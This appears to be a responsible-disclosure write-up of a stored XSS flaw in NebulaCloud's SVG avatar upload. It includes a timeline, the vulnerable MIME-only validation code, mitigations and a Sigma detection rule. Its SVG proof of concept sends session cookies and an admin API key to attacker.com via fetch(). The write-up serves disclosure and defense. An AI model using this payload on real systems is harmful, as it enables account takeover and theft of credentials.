TL;DR
A stored Cross-Site Scripting vulnerability in NebulaCloud's profile picture upload feature allowed SVG file uploads without proper sanitization. By embedding malicious JavaScript inside an SVG image, an attacker could achieve full account takeover of any user who viewed their profile, including administrators.
Responsible Disclosure Timeline
| Date | Action | Response |
|---|---|---|
| 2024-10-01 | Vulnerability discovered during black-box assessment | -- |
| 2024-10-03 | Initial report sent to security@nebulacloud.io | Auto-reply received |
| 2024-10-10 | Follow-up #1 sent (7 days) | No response |
| 2024-10-17 | Follow-up #2 sent (14 days) | No response |
| 2024-10-24 | Contacted CERT/CC for mediation | CASE-ID: CERT#2024-XXXX assigned |
| 2024-11-01 | NebulaCloud acknowledged the report | Patch development started |
| 2024-11-15 | Patch deployed to production | CVE-2024-1337 assigned |
Technical Root Cause
The profile upload endpoint used the following validation logic:
// File: src/controllers/upload.js (vulnerable)
function validateUpload(file) {
const allowedTypes = ['image/png', 'image/jpeg', 'image/svg+xml'];
// Only checks MIME type - can be trivially spoofed
if (!allowedTypes.includes(file.mimetype)) {
return false;
}
// Missing: SVG content sanitization
// Missing: DTD / external entity parsing disabled
return true;
}
The critical flaw: SVG files were served directly to browsers with Content-Type: image/svg+xml, causing embedded scripts to execute in the victim's origin.
Proof of Concept
<!-- malicious-profile.svg -->
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script type="text/javascript">
// Steal session cookie and exfiltrate
fetch('https://attacker.com/steal?c=' + document.cookie);
// Pivot to admin panel by fetching API key
fetch('/api/v1/admin/settings')
.then(r => r.json())
.then(data => fetch('https://attacker.com/admin?key=' + data.apiKey));
</script>
<rect width="100" height="100" fill="blue"/>
</svg>
Note: The PoC was tested in a controlled lab environment. Do not attempt on production systems without authorization.
Lessons Learned
- [+] Never trust MIME type validation alone. Always inspect file content structure.
- [+] SVG files should be sanitized with DOMPurify or converted to raster formats.
- [+] Serve user-uploaded images from a separate subdomain (cookieless origin).
- [+] Set Content-Security-Policy: script-src to prevent inline script execution.
Detection Rule (Sigma)
title: SVG Upload with Embedded Script
detection:
selection:
- request.url|contains: '/upload'
- request.body|contains: '<script'
- request.headers.Content-Type: 'image/svg+xml'
condition: selection
falsepositives:
- Legitimate SVG uploads with embedded metadata scripts
level: high